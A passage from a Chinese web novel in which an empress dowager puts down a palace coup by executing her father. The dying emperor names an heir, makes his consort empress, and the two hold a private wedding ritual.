元尚书脸不红心不跳继续道:“谢太后当年所生幼子,并非早逝,而是与陛下命格相冲,被送往宫外祈福……如今陛下方想接回幼弟,托之重任。” 沈美娘听到这话,悄悄捏了捏姜颂的手。 看她多厉害,猜的可以说是八九不离十。 姜颂任沈美娘捏他的手,面上看着元尚书,轻声反问:“是吗?” 他的语气很淡,再加上他身子一日比一日差,本是该没什么威胁的一句话。 但元尚书也不知为何,总觉姜颂的眼神像是已经将他看透。 这种不怒自威的神态,让他不得不回忆起从前先帝在时的岁月。 但箭在弦上,如今已经做了,那他也必须做绝了。 元尚书硬着头皮道:“陛下,您昨日派亲信宦官去谢阁老府上送的密诏,难道您忘记呢?” 他扬了扬手,他带来的兵都露出了刀刃。 “谢阁老已经去请谢太后了,太后年老乏力,正在往宣政殿去。再说——”元尚书看向姜颂身边的沈美娘,“卢郑联军和宁王打出‘诛妖妃,清君侧’的旗号,但谢阁老已经为娘娘安排好了去处。” 姜颂对这件事似乎更在意:“什么去处?” “新帝当继续尊立谢太后为太后,至于贵妃娘娘不论是留在宫内,还是移居行宫,谢阁老和谢太后都会多加照顾。”郑尚书道。 谢阁老也算是退一步了。 姜颂听到这话有些嘲讽地笑了笑:“你们倒是思虑周全。” “那就如你们所愿,去宣政殿罢。”姜颂道。 沈美娘听到姜颂这话,悄声问:“你还能撑住吗?” 她虽对谢阁老的计划好奇,但也很担心姜颂的身体。 今日先是宁王来闹了一通,等会儿姜颂还要去前朝听谢阁老那个老不死的说话。 姜颂摇头:“没事的,我没美娘你想的那般脆弱。” 沈美娘不信姜颂的话,在他耳边小声道:“你等会儿,要是不舒服,就捏捏我的手。” 姜颂应了一声。 沈美娘一路上还是有些忧心忡忡。 等今日的事情解决,姜颂也最多就一两个月时间了。 沈美娘从前都是得过且过,珍惜眼前,可因为姜颂的病,她却不得不担心两月以后的事。 她的眼底难得有怅然、忧伤,和……几不可见的恐惧。 等到宣政殿,沈美娘作为女子,本不该踏进这里,可是姜颂还是坚决地拉着她的手。 这是沈美娘第一次踏足这座用来接见朝臣、商议国家大事的宫殿。 殿中站满手执笏板的大臣,几乎全都是紫衣、绯衣的大臣,中间自然有沈美娘认识的,但更多的都是沈美娘并不认识的人。 沈美娘在陌生的大殿有片刻失神,旋即回神过来—— 谢阁老将这般多的重臣召进宫,既是逼姜颂立皇太弟,何尝不也是逼这些大臣站队。 在谢阁老如今眼里,整个皇宫都被他控制,这些重臣也被他诓骗进宫。 等会儿探讨册立皇太弟之事,就算有大臣不同意,他也直接可以下杀手,直到无人敢反对为止。 大不了宫城门一关,把中书省和门下省再屠一遍…… 被史书骂一万年,也比功亏一篑,全家遭殃好。 沈美娘默默看了眼几位“得意”的谢党人。 不过这些文人想来是不会那么狠的。 可惜政斗这种事,不够狠,那就没什么好下场了。 沈美娘扫视一圈,却发现谢阁老迟迟未来。 她虽没有直接和谢太后说过关于这次政变的事,但是借苏云卿和她的手下,沈美娘已经让人暗示过谢太后此事了。 沈美娘也叫人传达了她的意思—— 她要谢太后今日直接到殿上来,揭穿谢阁老混淆皇室血脉、政变逼宫等一系列真相。 可如今谢太后和谢阁老都没来,沈美娘心里不免有些担心。 她知道姜翩翩是谢太后的女儿,但她没有拿这件事威胁谢太后。 沈美娘不喜欢用孩子威胁人,之前对谢明安母女也是利诱,而非威逼——那还是在她认为谢明安母女,也亏欠陈盈一家的情况下。 沈美娘策反谢太后的理由很简单。 如果谢太后愿意站出来做这个揭穿谢阁老的人,并由她太后的名义,大义灭亲赐死谢阁老,沈美娘承诺她不会诛谢家九族。 对于谢家而言,这已经是最可以保全谢家,保全谢太后自己命的方法了。 沈美娘也早就吩咐伺候谢太后的宫人,让她在谢阁老进宫后,知道这一局都是姜颂做的戏。 谢太后肯定会知道该怎么选的 姜颂做这场戏是为了让沈美娘的路顺遂,沈美娘的目标也很简单—— 杀舅舅和辅政大臣这种事不太光彩,所以沈美娘得找个人来杀谢阁老。 她不允许任何一点污水泼到她身上,更不准泼到姜颂身上。 沈美娘摩挲着小指的旧疤,心里不免焦急。 但显然有人比沈美娘更急。 一位大臣站出来,道:“陛下,既然您已有传位于皇弟之意,不如早些命人拟诏,也好叫天下人安心。” 沈美娘不认识这位大臣,但她看这人一身紫,就知道他定然不会是什么低职。 “崔缄!什么皇弟,一个流落在外十一年的乞丐,一朝认回,如何能证明便是天子血脉?陛下,臣以为立此人为皇弟,动摇国本,万万不可啊!”另一位大臣立刻反驳。 沈美娘认得他,这是上次负责看管告发她杀过人的沈家人的官——好像是刑部侍郎,姓言来着。 当然沈美娘也不觉得这个言侍郎有多忠心。 就算之前半个月,京城气氛微妙,如今到了大殿上的人也都该明白,这是谢党和叶党的你死我活时刻了。 尤其是对叶党来说。 一旦皇太弟册立,谢党占了拥立之功,那叶党可就惨了。 叶党人不管是为了所谓忠心,还是为了自己的脑袋和仕途,此刻都得和谢党人针尖对麦芒。 崔缄被人反驳,正欲让禁军将言侍郎拿下,就听到一声尖利的声音—— “太后娘娘到。” 众臣和沈美娘对姗姗来迟的谢太后行礼。 可来人只有一个谢太后,不见谢阁老。 沈美娘在谢太后免了众人的礼后,抬眼向这个女人看过去。 她从未见过这样的谢太后。 不是从前清冷出尘、不问世事的仙子模样,此刻的谢太后眼神无比坚毅。 从眼角余光众人的神情来看,沈美娘能确定,这些做了很多年官、比她认识谢太后更久的人,可能也没见过这样的谢太后。 冷漠、矜傲和睥睨天下的气势。 沈美娘想起在姜颂梦境里见过的先帝,只能得出谢太后和先帝不愧是亲戚的结论。 才会气质这么像。 可是谢阁老……去哪里了呢? 很快沈美娘就有了答案。 谢太后让人端了东西上来,掀开白布,才发现下面是一颗头颅。 是谢阁老的。 谢太后不给众人反应的时机,指着裴渡骂道:“枉你自幼是先帝的伴读,竟然与人勾连,意图混淆皇室血脉。怎的你裴渡,是打算谋朝篡位不成?” 谢太后不知道裴渡是姜颂授意,假意答应谢阁老,没给他半分好脸色。 她又指向谢阁老 的头颅,道:“罪人谢凡,逼宫政变,意图混淆皇室血脉,现已伏诛。至于那混淆血脉者,哀家已命人乱棍打死,曝尸于宣政殿前。” “尔等,难道还要执迷不悟吗?”谢太后目光扫过殿中禁军和几位临时投靠谢党的将领。 时间仿佛在此刻凝结,沈美娘眼睛一眨不眨地盯着眼前的谢太后。 她从未如此具象化地领悟到权力的魅力。 这种魅力,吸引着她,诱惑着她。 沈美娘看得出神,心里无比期待有一天,她也能如谢太后般,站在这群男人面前,对他们发号施令,叫他们大气都不敢喘一下。 几位将领还未说话,士兵却已反应过来,扔了刀剑,跪在地上。 谢太后点头:“众将士听令,捉拿崔缄、元时等谋反之徒。哀家知道你们也是受人蒙骗,自不会追究过广,卢郑二人联军亦是如此,若有人受蒙蔽者,皆可诛杀逆徒,自证清白。” 姜颂到这里才道:“裴将军与沈尚书早将谢凡有谋反之意告知了朕,皆是得到朕的指令。” 谢太后有些错愕地转头看向姜颂。 她这么聪明的人,当然很快就明白了姜颂的所有意图。 先帝还说姜颂不像他,这哪里不像? 父子俩都是为爱痴狂,像疯子一样。 姜颂拉起沈美娘的手。 沈美娘这才从刚才对谢太后的艳羡里回过神。 姜颂对她笑了笑,方对众臣道:“朕今日确实是要当着诸位大臣的面,托付江山……” 他刚才在谢太后说话时,就与叶丞相眼神交流过了。 一个小厮打扮的孩子被送进了殿。 想来是叶丞相今日“闻诏”进宫时,察觉不对,把这孩子装成小厮模样特地带进了宫。 姜颂将小孩抱起,塞到沈美娘怀里。 他道:“此子乃文帝七子淮阳王之孙,是个聪明听话的孩子,朕赐名栩,立为太子,日后就交由……皇后抚养。” 姜颂握着沈美娘的手,对她又温柔地笑了笑。 沈美娘也不知道该说什么。 姜颂这一番操作,算是帮她的路全都铺好了。 说不感动、不高兴是假的,可是沈美娘一想到姜颂的人生将要燃尽,最会假笑的她也笑不出来一点。 姜颂没得到沈美娘的回应也不难过,继续对众臣道:“朕时日无多,朕去了……你们要尊敬皇后,好好辅佐太子。” “叶明舟、沈温、裴渡,你们三人要悉心教育太子,太子若与皇后有不和之处,需以皇后意见为先。”姜颂道。 “是。” 姜颂交代完一切,正准备帮沈美娘抱孩子,但却忽然有些站不稳。 “陛下!” “姜颂!” 沈美娘连忙放下孩子,去抓姜颂的手,被他捏了捏手。 她明白姜颂这是有些撑不住了。 姜颂依旧撑着力气道:“诸位爱卿今日若是无事,便退朝罢。” 沈美娘扶着姜颂,直到出了宣政殿,姜颂才攥紧沈美娘的手,无力地跪坐到地上。 他不住地咳嗽了几声,血就像是失控般,从他口中不断涌出。 姜颂越想伸手去挡,就越无济于事。 沈美娘立刻让人传太医,帮姜颂擦着嘴边的血。 姜颂好不容易缓过来一些,看到沈美娘为他担心得手忙脚乱的样子,还有她裙摆上的血…… 他好看爱笑的眼,蒙上一层阴翳:“对不起,弄脏了你的衣裳。” 沈美娘最喜欢她的漂亮衣裳了,他却把她的衣裳弄成这样。 “没关系,真的没关系……”沈美娘抱住姜颂安慰他。 姜颂觉得他好像格外的累,眼皮合在一起,都睁不开了。 他感受到落在他脸上的泪,伸手凭感觉去摸沈美娘的手,道:“美娘,你别哭,我不疼,我就是有点累而已。” “但是,你抱着我,好像就没那么累了。” 第84章 第84章“相逢的人会再相逢。”…… 太医赶来时,姜颂已经晕了过去。 沈美娘的手落在他的手腕处,生怕那一丝微弱的脉搏也消失。 太医替姜颂把了脉,施了针,喂了药,却依旧说不出个姜颂身体的所以然来。 沈美娘握紧姜颂的手,目光挪到跪了一地的太医身上,问:“陛下什么时候能醒来?” 太医院的院判抖如筛糠,道:“陛下脉象虽弱却无大碍,兴许今晚就能醒来,也可能……” 他磕了两个响头:“还请娘娘早做准备。” 空阔的大殿因这句话陷入诡异的沉默,太医、宦官和宫人全都跪下不敢言语。 谁都知道这种时候,是最会有人倒霉的时候。 更何况,陛下年纪轻轻,身染怪疾,太医院的太医却都手足无措。 许久以后,沈美娘闭了闭眼,道:“本宫知道了,都先退下吧。” 姜颂的病本就与这些太医无关,她就算怒极,也不会牵连无辜。 太医们如蒙大赦,全都退出殿外,等着后续沈美娘传唤。 沈美娘望着姜颂苍白的脸。 就像她当时在山林里救他那般。 她伸手轻轻描摹着姜颂的眉眼。 抚过他比墨都浓的眉、过长的眼睫,最后依依不舍地落在他毫无血色的唇边。 “冤家。” 沈美娘轻斥一声。 对着已经陷入沉睡又将不久于人世的姜颂,她终于敢剖白最深处炽烈的感情。 “你走了,我还这么年轻,我该怎么记住你啊。”沈美娘的手指不甘地摩挲着姜颂的脸。 她紧紧盯着眼前人,像是要把他的容颜,镌刻进自己的灵魂深处。 许久以后,沈美娘俯身,轻轻靠到姜颂身边,很小声道:“你果然是我的冤家。” 沈美娘闭上眼,也沉沉睡去。 梦境里,也是皇宫,但又有些许不同。 沈美娘感觉有股奇怪的力量催促着她循着方向,往某个地方去。 她走过宫道,踏过长阶,终于走到了紫宸殿,一路上竟没有宫人阻拦她。 沈美娘推开紫宸殿,穿过前殿,绕过回廊,在院中看到了盛开的牡丹。 一大片,一大片的牡丹,紫的、红的,竟还有极难得的豆绿。 能看得出这座宫殿的主人,定是爱极了这种花。 沈美娘从牡丹旁掠过,来到寝殿,终于看清了这座宫殿主人的样貌—— 是她自己。 另一个“沈美娘”坐在寝殿里,批阅着奏折,她穿着属于皇帝的衮服,头上的冕旒也没有取下。 沈美娘猜测她或许刚结束一场祭祀,又可能是要奔赴下一场朝会。 果然如她想的那般,另一个世界的“沈美娘”,对姜佑不过是利用罢了。 那个“沈美娘”眼里只有权力。 “沈美娘”看向她笑了,眼角浸满威严的皱纹皱成一堆:“你也是沈美娘吗?” 眼前人的一举一动都是久居上位之人,才会有的威仪。 也是沈美娘从前最想成为的人。 但…… “什么也是?我才是沈美娘,这天底下,有且只有我一个人是沈美娘!”沈美娘坚定摇头。 “沈美娘”眼神微滞,反驳道:“我就是你……” “你才不是!”沈美娘起身指着眼前的女人,“你知道我娘是谁吗?你知道我爹是谁吗?你知道我小时候最喜欢做的事是什么吗?你又知道我最讨厌什么吗?” 女人愣在原地,好似一个问题都回答不上来。 她循循善诱:“那是因为你的人生被破坏了,你本该和我一样,是高门贵女……” “那你根本就不是我,你才不是沈美娘!”沈美娘厉声道。 她不想再被这个梦境耗着。 什么她本来该是什么样,什么男主本该是姜佑。 沈美娘才不认。 只有她自己活出的人生,她自己经历过的,她才认。 沈美娘觉得梦境开始坍塌,她从殿中跑出,凭 着直觉往外跑着…… 世界的尽头,人声鼎沸,有人似有察觉,向沈美娘看过来。 那是姜颂,更确切些说,应该是如果生活在他阿娘世界的“宋江江”。 少年穿着蓝白配色的露出手臂的奇怪衣裳,和身边同样打扮的朋友们,说说笑笑,与她擦肩而过。 沈美娘有些失落地转头,少年也停下脚步,向她这边看了过来。 他身边的朋友,拍了下他的肩头:“时念,你发什么呆呢?等会儿是老班的数学课,他舍不得骂你这个A大苗苗,我们可就惨了。” 沈美娘猜,时念或许是宋江江活在她娘世界,可能会拥有的名字。 “你们先回去吧。”时念道。 少年逐渐走到沈美娘面前,他像是看不见沈美娘,也摸不到她,只能不断在她附近徘徊。 许久以后,他终于停下脚步,默默站在原地。 “你在找什么?” 沈美娘忍不住开口询问。 时念好像能够听到她的声音,忽地抬头向四周探寻。 “你是谁?你到底是谁?”时念大声质问。 沈美娘开口回答自己的名字,却发现迷茫的少年已经听不到她的声音。 时念站在原地,抚摸着自己的胸口,喃喃:“我好像忘了你,我不该忘记你的……” 沈美娘不知道少年为何会这般悲伤。 她想伸手摸摸眼前,和姜颂生得几乎一模一样的少年。 可在她快要触碰到少年发丝时,梦境彻底坍塌,沈美娘猛地惊起。 天已经黑了又白,沈美娘感觉心空落落的。 梦到另一个“沈美娘”她能理解成,是那个宁王天天念叨的结果。 但是那个和姜颂那般相似……不,沈美娘可以确定,那就是姜颂。 是活在现代时空的他。 沈美娘还没完全从奇怪的梦境里脱离,就感觉一只泛着凉意的手,轻柔地为她擦去额上的冷汗。 “姜颂,你醒了!”沈美娘立刻握住姜颂的手。 她正欲唤太医进来,就被姜颂笑着打断:“美娘,你知道的,太医看不出来什么。我自己有感觉的,应该暂时没事了,说不定……还能再陪你一两个月。” 沈美娘憋了一肚子想骂姜颂的话,可真看到姜颂如今的模样,她那些话都说不出口。 她只乖顺地贴到姜颂身边,把姜颂如今不复从前般温暖的手,放到她袖中,帮他暖着。 姜颂道:“我还以为你要骂我。” “是该骂。”沈美娘忍住将要夺眶而出的眼泪,“但我舍不得。” 姜颂知道沈美娘脾气倔,她从不随意示弱,大部分时候都是把示弱当作武器。 此刻沈美娘如此温软的语气,他也知道沈美娘心里有多不好受。 姜颂转移开沉重话题,语气轻松:“美娘,你刚才做了什么梦?怎的脸色会那般难看?” 他刚才梦醒,看到沈美娘的脸,差点以为她受伤了。 沈美娘把刚才梦中的见闻将给了姜颂,也跟着开玩笑:“我也没想到,梦里就算是现代的你,也那般好看。” 姜颂听完沈美娘的话,微微有些出神。 沈美娘问他是怎么呢。 姜颂连忙摇头:“没什么,我也不知道,就是突然觉得心里闷闷的……想来是美娘,你把那个梦境描述得太过凄美了吧。” 沈美娘认可姜颂的说法。 回忆起那个少年茫然无助,四处询问的神情。 他又顶了张和姜颂一模一样的脸,沈美娘当然不免怜爱。 可能是因那个梦境,沈美娘忽然问:“姜颂,你说如果两个人都忘记彼此,却在很多年后重逢,还会爱上对方吗?” 姜颂想了会儿,道:“如果还是那个人的话,肯定是会的。” 相爱的人,就算隔着时间、经纬,但只要有能灵魂共振的地方,那就能在重逢那一刻爱上。 沈美娘抱紧姜颂,认真道:“好,下辈子,你可要说到做到。” 姜颂知道沈美娘是个“唯物主义战神”。 她这个人神鬼之说不信,更视轮回转世为无稽之谈。 可她在此刻,竟然和他说了“下辈子”。 “嗯!”姜颂补充道,“我一看到你,就能认出你。” 沈美娘略微和他拉开一段距离,摇头:“不够。你还得一眼万年,爱上我!要死要活那种爱,非我不可地爱我。” “好。” 第85章 第85章不许说不行 姜颂身体好转一些后,谢太后就唤了沈美娘前去见她。 沈美娘以为谢太后是找她算账。 在这次谢阁老逼宫一事中,沈美娘自认她算不上光明磊落,就算被谢太后阴阳怪气骂一通她也认了。 事实却是,沈美娘进殿以后,谢太后的态度依旧和从前一样温和。 她偷偷观察谢太后,发觉她衣着精致,面色竟比杀死谢阁老前还要红润,根本不像权衡利弊后,杀死自己亲生父亲的模样。 谢太后察觉到沈美娘的目光,道:“沈贵妃,是在好奇哀家为何要帮你吗?” 沈美娘点头,又摇头:“臣妾只是没想到太后娘娘做事竟如此——果决。” 这世上能当机立断杀死自己亲生父亲的人可不多。 谢太后听出沈美娘的言下之意,勾了勾唇,未多说什么。 她命女官将一枚金印送了上来,嘱咐道:“陛下那日在殿上已经宣布了你是皇后,如今诏书和册封礼想来都快了。这枚凤印,该交到你手里了。” 沈美娘起身推脱,谢太后却像看穿她般:“三辞三让这种把戏,就不必了。” “你是个厚道孩子,没有拿翩翩要挟哀家,哀家当然也不会为难你。”谢太后道。 沈美娘垂眸。 她在政变逼宫前后,都有让苏云卿的人盯紧谢太后和姜翩翩,事后谢太后只要查到了这些事,肯定都能猜到沈美娘知道她们二人的母女关系。 谢太后淡淡笑开:“哀家身子不好,皇帝恐怕日子也不长了,以后翩翩还得仰仗你这位好皇嫂。” 沈美娘思索片刻,承诺道:“长宁郡主性情聪慧,喜好舞刀弄枪,臣妾定会好好照顾她,叫她顺心如愿。” 谢太后但笑不语:“希望你能说到做到。” 沈美娘被谢太后的贴身女官送出殿外,路上她看到有进进出出的道士,他们手里拿着做法事要用的香烛、铜铃和净水等物。 沈美娘驻足,问:“这是做什么?” 谢太后就是选择保全整个谢氏一族,才会那般决绝下令杀了谢阁老。 难道这样一个人,还会拎不清在宫里给谢阁老做法事不成? 女官解释:“是太后娘娘请进宫,为永寿公主做法事的。” 永寿公主是谢太后的亲生母亲,已经死了很多年了。 沈美娘一直都很奇怪谢太后说杀谢阁老就杀,此刻她看着这些忙碌的道士,像是有了答案。 她问:“我记得永寿公主是病逝?” 女官看了看周围,压低声音道:“皇家和谢阁老怕丢人都对外说是病逝,其实,永寿公主是自缢而亡,死的时候才二十一岁,花儿一样的年纪……你说好端端的金枝玉叶,怎么就想不开呢?” 永寿公主怎么会想不开呢? 大谢太后为了稳固地位,把亲生女儿嫁给了自己的亲弟弟——也就是谢阁老。 谢阁老年长永寿公主十五岁,年轻时素有风流之名,那又是谢家权力最煊赫的岁月。 几乎可以想见,年轻的永寿公主过的日子有多艰难。 原来如此。 沈美娘就说谢阁老的那颗头颅有些奇怪。 她小时候陪田幼安看她父兄验尸,看到不少尸体,谢阁老那颗头肤色青紫,舌尖微露,一看就是被勒死后才被砍下。 谢太后要杀谢阁老,可以下毒,可以命宦官用棍棒打死,也可以叫太后亲卫砍下他的头颅。 可谢太后偏选择让人用白绫或是绳索勒死他。 沈美娘忍不住笑出声,身旁的韦阿宜不解看向她。 她回身看了 眼寿康宫,道:“原来事情比我想的还简单。” 谢太后杀谢阁老绝不仅仅是什么明哲保身,而是一个五六岁时,就看着亲生母亲悬梁自尽的女孩,从小就深埋心中的仇恨。 沈美娘自嘲。 恐怕谢阁老这般聪明、重利的人,从没想过他竟是栽在自己从不放在心上的家事里。 谢阁老的死,让很多事情终于有了答案。 沈美娘终于知道了陈家被灭门的真相。 这件事她到蜀中也查过,但因为陈家这事被处理得确实太干净,更因为谢阁老还在,沈美娘几乎查不出来什么。 颜舜华又说像陈盈,这种和原剧情没什么关系的人,系统没权限知道她们的命运。 如今,谢阁老死了,沈美娘才知道当年陈家被灭门,仅仅是因为二十年前,陈盈的舅舅,发现了蜀中的流民有些不对劲儿,将此事禀告给了他的上司。 但那位上司也是谢党人,这件事自然就被压了下来。 陈盈的舅舅也没有多想,只当是自己多思了,却没想到不久后就招致了灭门之祸。 沈美娘听完这整件事后,心里对这个谢阁老还真是“佩服”至极。 他是在约莫三十年前,就开始在西南一片有意培养自己人,利用地方官员、士族豪强和民间信仰,一直都想要将这片地方握进谢党人手里。 若不是先帝没有死,若不是有一个横空出世的蜀王,还有祝羽将军、陈家人的警觉,兴许谢阁老早就得逞了。 谢阁老也算是精心谋算,却还是输给了“命运”两字。 沈美娘是在沈府听沈温和她讲的这一切,听他说完,沈美娘问:“你如今是如何想的呢?” 她现在没本事帮沈温洗清祝氏一族的罪名,但谢阁老倒台,究竟是他们一家倒霉,还是夷三族,乃至夷九族,这中间可操作的空间还很大。 沈美娘以为沈温蛰伏这么久多年,肯定是想要谢家像他们祝家那般夷三族,才能解心头之恨。 “按《燕律》该如何罚便如何罚罢。”沈温道。 沈美娘有些意外地挑眉看他。 沈温无奈笑道:“美娘,我没你想的那么坏。” “我从前确实恨不得杀光他们谢氏一族,但是……”沈温起身眺望远方,“我做不到。牵连无辜的事,违背了我爹娘对我的教导,就算我死后到了地下,他们恐怕也不会高兴。” 沈美娘听到沈温的这些话,默默看了他许久。 她第一次觉得,她也没有她以为的那般了解沈温。 沈美娘喝了口茶,放下茶杯:“祝小将军当真是,不愧对祝家门风。” 沈温听到沈美娘喊他“祝小将军”愣愣地转过头,又听到她道:“谢阁老死了,谢党却还在,如今谢党你为领袖,叶党可能会暂时压你一头,还请你坚持住。” 沈美娘起身告别:“我不信任裴渡,更不信任他们每个开国勋贵,这军权我迟早会找人托付……你若是想重新做上将军,最好证明给我看,你有那个本事。” 祝羽没管沈美娘后面那些话,只是回味着沈美娘喊他“小将军”的话。 他眷恋地望着沈美娘离开的身影,什么也没有说,只攥紧拳头。 沈美娘一出来,就问她派来暗地里监视沈府的人,这几日还有谁来找过沈温。 探子说了叶明舟的名字。 沈美娘对这个答案丝毫不意外。 她就说沈温可不是那般容易放下仇恨的人,尤其是这种血海深仇。 原来是叶明舟来劝过他了。 沈美娘不知道叶明舟出于何种目的来劝沈温的。 可能是他和谢太后有私情,他也不希望谢氏真倒大霉。 也可能是叶明舟知道,沈温自己清醒过来之后,肯定也会力保谢氏——沈温日后就是谢党的领袖,他当然得尽力保谢氏。 所以,叶明舟自己找过来,来给沈温卖个人情。 当然,也可能是叶明舟就是当年,劝说沈温改刺杀为蛰伏的人。叶明舟在旧友祝羽出事时没有捞他,出于愧疚想要多提点故人之子“沈温”也有可能。 沈美娘揉了揉太阳穴。 这些人都太复杂了,情情爱爱堆在一块。 要是换了沈美娘,管它那么多,直接夷谢阁老三族,最多用大义灭亲的功劳赦免谢太后就是。 不懂。 沈美娘对这些做事拖泥带水的人,都不理解。 回宫后,沈美娘一进殿就抱住躺在小榻上看书的姜颂。 姜颂轻轻拍着她的肩:“你这是怎么呢?” 沈美娘没好气道:“终于知道你以前上完朝,怎么都和被吸干一样了……” 当皇帝真的好累。 尤其是明明很简单的事,却被一群本来很聪明的人,齐心协力弄得很棘手之后。 姜颂轻笑了一下:“你这下知道了。” 沈美娘听出了姜颂语气里的调侃,“嗯”了一下。 等沈美娘在他怀里趴了好一会儿,恢复元气后,姜颂就给宦官使眼色。 宦官立刻把圣旨呈上来,姜颂把它塞到沈美娘手里。 沈美娘展开圣旨一看,发现是封后的圣旨。 她有些奇怪:“不需要宣旨,我再接吗?” 姜颂摇头:“那些都是虚的,只要有这道圣旨,以后我们在史书上就是谁都拆不散的帝后啦。” 沈美娘摊开圣旨,认真看了很久:“名门毓秀?” 姜颂解释:“七娘封了国夫人,岳父封了国公,还有美娘你的祖父母、外祖父母我都追封了国夫人和国公……当然就是名门毓秀。” 沈美娘点头。 也行吧,反正圣旨肯定得把她大夸特夸才行。 她又看了很久,反正就是什么都夸了。 说她孝顺,长得漂亮,太后也喜欢她,宫人们都很感恩她的恩德。 沈美娘把圣旨一合,“吧唧”一口亲到姜颂脸上:“姜颂,你真好,我最喜欢你了!” 姜颂伸手揉了揉自己的脸,傻呵呵笑了。 沈美娘看他这样,故意又在他脸上盖了好几个“章”。 亲完以后,沈美娘又不免担心起来:“姜颂,我听说封后的典礼很繁杂,你还称得住吗?” “我当然可以!”姜颂听到这话微微起身,像是想要证明自己。 沈美娘看他这样,止住他的动作,连连点头:“好好好,我知道你可以了,行吧。” 果然,天底下,男人都一样嘞。 听不得别人说他不行。 【END】 第86章 第86章春夜,春花,…… 可能是因为姜颂的生命已经进入了倒计时。 沈美娘这种最多会想明日吃什么的人,竟也开始安排每日的行程。 两人又去了从前两人去过的馄饨摊,一起去见了叶丞相,看了姜颂去年命人种下的牡丹…… 沈美娘想时间过得慢一点,再慢一点,事实却是时间永远不会为任何人的意志,放慢流逝的速度。 等到封后典礼结束时,姜颂又吐了血。 沈美娘替他擦着唇畔的血,忍不住责怪:“都和你说了,我不在乎什么典礼,一切从简就好……” “可我在乎。”姜颂缓过来,反驳沈美娘。 沈美娘看他脸色苍白,气都有些喘不过来的样子,把剩下数落他的话咽了回去。 姜颂拉着她的手,透着病气的脸上,眼睛依旧明亮好看:“美娘,我不想亏欠你,我想你拥 有一切。” “盛大的典礼,至高无上的权力,万古流芳的美名,我都想你有。”姜颂偎依着沈美娘。 “闭嘴。”沈美娘吻住姜颂不让他再说话。 都快要死了,还张口就是情话……他是有什么必须完成的情话kpi吗? 沈美娘放开姜颂,看他如遭雷击的样子——但终于不再念叨情情爱爱了。 她擦了擦自己的嘴角。 刚才那个吻,染了几分血腥味,像铁锈,又有点苦涩的感觉。 沈美娘想,姜颂那么执着于让她记住他,他这下算是达到目的了。 至少这个奇妙的吻,她大抵是今生都忘不掉了。 封后那夜格外平静,姜颂让人备了合卺酒,还想和沈美娘像民间夫妇那般拜天地。 沈美娘嘴角抽抽,忍了很久,才压下骂姜颂的冲动,挤出个笑:“姜颂,你身子不好,我们早些就寝吧。” “不要!”姜颂摇头。 沈美娘原本看姜颂是病人,让着他的好脾气被消耗殆尽,直接把姜颂打横抱起扔床上:“睡觉,别瞎折腾。” 姜颂被沈美娘丢懵了,后知后觉想起来沈美娘从小学跳舞。 她只是看起来柔弱,真论起来,身上的肌肉一点都不少。 他扒着被子,往沈美娘那边挪:“美娘,我真的想和你拜天地。我听说只有拜了天地,红线才能连得上,下辈子我们才可以再遇到……” “封建迷信。”沈美娘继续闭着眼。 “才不是。”姜颂趴在沈美娘肩头小声道,“美娘,我本来就不喝酒,我以茶代酒,不会伤身的,你就和我喝合卺酒……不对,是合卺茶……好不好?” 沈美娘坐起身,她默默盯着姜颂。 姜颂被沈美娘如炬般的目光,看得心虚,低下了头。 就在他以为沈美娘会再训他的时候,沈美娘伸手,轻弹了一下他额头:“服你了。” 姜颂愣了一下,明白过来沈美娘这是答应的意思,立刻就唤来宫人把合卺酒送了进来。 两人拿起托盘上的酒杯,沈美娘在喝前,对姜颂道:“你喝一口酒就是了,别全喝了。” 姜颂这才知道,沈美娘知道他的杯子里也是酒。 “好。”姜颂乖乖点头。 他知道美娘担心他身子,他要是真的再吐血,美娘还得担心。 沈美娘看姜颂放下酒杯,才道:“你不是不喝酒吗?” 姜颂:“今天是我们大喜的日子,就喝一点,没事的。” 沈美娘明白姜颂这是因为爱她,才会这样做。 她起身,将手伸到姜颂面前:“不是说,还要拜天地吗?” 姜颂愣愣点头:“好!” 两人拉着手先拜了天地,但接下来他们就犯了难,拜高堂该拜哪个方向呢? 姜颂的母亲是明州人,可是他爹的陵寝在上京皇城的西北山上,沈美娘就不用说,她家在西南的思州。 还是沈美娘拍板决定:“就拜拜天地相反的方向吧。” 于是两人又拜了高堂。 最后,就是夫妻对拜。 沈美娘没有戴盖头,她满眼笑意,就这样看着姜颂,与他一起跪下,夫妻对拜,算是礼成。 姜颂起身时踉跄了一下,连忙解释:“美娘我没事,我就是很高兴。” 他直直看着沈美娘,眼前的姑娘未施粉黛,眉眼含笑,瞳孔里都是他的身影。 姜颂心里是说不出来的欢喜。 沈美娘:“你这下满意了吧?” “满意!”姜颂抱紧沈美娘,“美娘,拜了天地,就会结红线的,下辈子,我们肯定还会遇到的。” 沈美娘不相信这种东西,但她也点头:“好啊。” 她笑说:“你比我先去,说不定很快,就会转世来找我呢?只是,待你轮回长大,我怕就是徐娘半老,或是两鬓斑白了。我不漂亮了,说不定啊,你就不……” 沈美娘的“不喜欢她”还没说完,就被姜颂捂住嘴,他道:“才不会,我还是会喜欢你,就算你白了头,容颜老去,走也走不动路,我也喜欢你。” 沈美娘轻笑,也没反驳。 两人仰躺在床上,沈美娘道:“姜颂,我召了颜舜华进京,她之前虽说她束手无策,但我还是想她或许能有什么办法。” 沈美娘发觉身边的人没有回应,偏过头看他,才发现姜颂已经沉沉睡去。 沈美娘看着他的睡颜,在他脸颊上落下一个轻柔的吻。 颜舜华应该还要十来日,才能赶到上京,但沈美娘也不知道她能不能赶来。 大婚之后,姜颂的身体似乎比之前还要恶化得更快。 沈美娘除了带姜颂塞给她的那个便宜儿子外,剩下的时间几乎都陪在他身边。 姜颂这几日甚至已经免了朝会,奏折也是沈美娘念给他听,再由沈美娘为他代笔。 姜颂一般会先问沈美娘是怎么想的,她知道姜颂是有意教她打理朝政,也没有辞让。 时间就这样在朱批里流走,直到这日姜颂没有让沈美娘去拿案上的奏折。 他和沈美娘白日里腻乎了很久。 沈美娘像是察觉到什么,盯着姜颂红润不少的脸,想到了“回光返照”这四个字。 姜颂:“美娘,你看我做什么?” 沈美娘连忙偏过头,佯装没察觉姜颂的奇怪:“看你不行吗?你长了张脸,不就是给人看的?” “再说——”沈美娘调整过来表情,捧着姜颂的脸称赞,“你这张脸,这般好看,我自然要多看看。” 姜颂被沈美娘夸得心情舒畅。 他将一卷画轴放到沈美娘手里。 她打开,发现是姜颂的一幅画像,很写实的一幅画。 姜颂:“美娘,我知道记忆会淡化,所以我就把我自己画下来了。只要有这幅画在,你就会记得我。” 沈美娘的指尖划过画纸,眼神动容。 